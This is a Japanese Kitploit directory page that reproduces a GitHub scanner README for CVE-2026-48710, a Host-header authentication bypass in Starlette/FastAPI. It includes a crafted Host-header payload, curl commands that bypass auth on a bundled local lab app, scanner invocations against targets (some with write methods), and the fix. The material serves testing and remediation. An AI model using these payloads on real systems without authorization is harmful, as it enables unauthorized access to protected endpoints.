Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
BadHost-CVE-2026-48710-Exploit — CVE-2026-48710 検出スキャナー - Starlette/FastAPI のホストヘッダー認証バイパス | Kitploit
ツール/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
認証と認可脆弱性スキャナーエクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテストラボと実践
GitHubbhanunamikaze/badhost-cve-2026-48710-exploit

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

BadHost-CVE-2026-48710-Exploit

CVE-2026-48710 検出スキャナー - Starlette/FastAPI のホストヘッダー認証バイパス

リポジトリを見る
153ヶ月前未レビュー

BadHost — CVE-2026-48710 スキャナー

Starlette / FastAPI における BadHost 認証バイパスを検出する専用スキャナー。認証ミドルウェアが request.url.path を読み取り、request.scope["path"] を参照していないため、細工した Host ヘッダーで許可されたパスを忍び込ませ、認証をバイパスできます。

root@kitploit:~
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed

影響を受けるバージョン: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
修正バージョン: Starlette 0.46.2+


機能

  • 完全な URL (https://host/path) を渡す — パスが自動的に抽出されプローブとして使用されます
  • FastAPI/OpenAPI の JSON または YAML 仕様(ファイルまたは URL)からエンドポイントを読み込みます
  • インジェクション候補として未認証パスを自動検出します
  • Host と X-Forwarded-Host の両方のキャリアと、2つのペイロード戦略をテストします
  • AI/LLM (--preset ai) および MCP (--preset mcp) エンドポイント用の組み込みプリセット
  • 出力: テキストサマリー、--json、--csv
  • スキャン進行状況を stderr に表示。サードパーティ依存関係ゼロ。

ローカル脆弱性ラボ (badhost_vuln_lab/)

ローカル検証用に 2 つの FastAPI アプリが同梱されています:

アプリURL認証読み取り元
脆弱http://127.0.0.1:8000request.url.path — バイパスされる
修正済みhttp://127.0.0.1:8001request.scope["path"] — 安全
root@kitploit:~
cd badhost_vuln_lab
docker compose up --build

または Docker なし:

root@kitploit:~
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

手動バイパステスト

root@kitploit:~
curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — fixed

インストール

root@kitploit:~
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, no pip install needed

使い方

root@kitploit:~
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid は書き込みメソッドに {} を送信します — エンドポイントを実行せずに認証バイパス後に FastAPI 422 をトリガーします。baseline=403 test=422 の結果は依然として調査に値する SUSPECT 判定です。
本番環境では --openapi-body-mode minimal を使用 しない でください — 書き込みエンドポイントを実行する可能性のある有効なリクエストボディを構築します。


判定結果

出力には CONFIRMED と SUSPECT のみ表示されます。終了コード 2 = CONFIRMED、1 = SUSPECT、0 = 問題なし。


修正方法

root@kitploit:~
# Vulnerable
if request.url.path.startswith("/public"):
    ...

# Fixed
if request.scope["path"].startswith("/public"):
    ...

Starlette 0.46.2+ / FastAPI 0.116.0+ にアップグレードしてください。


許可されたテストのみに使用してください。自分が所有する、または明示的なテスト許可があるシステムのみをスキャンしてください。

ツールをダウンロード
判定意味
CONFIRMEDベースライン 401/403 → テスト 2xx. 脆弱.
SUSPECTベースライン 401/403 → テスト 404/405/422. 認証ゲートがバイパスされたように見えます。手動で確認してください。FastAPI からの 422 は特に重要です。
REJECTEDプロキシがバイパス前に不正な Host (400/421) を拒否しました
BLOCKED細工したリクエストが拒否されました
OPEN認証なしで既にアクセス可能 — この CVE ではない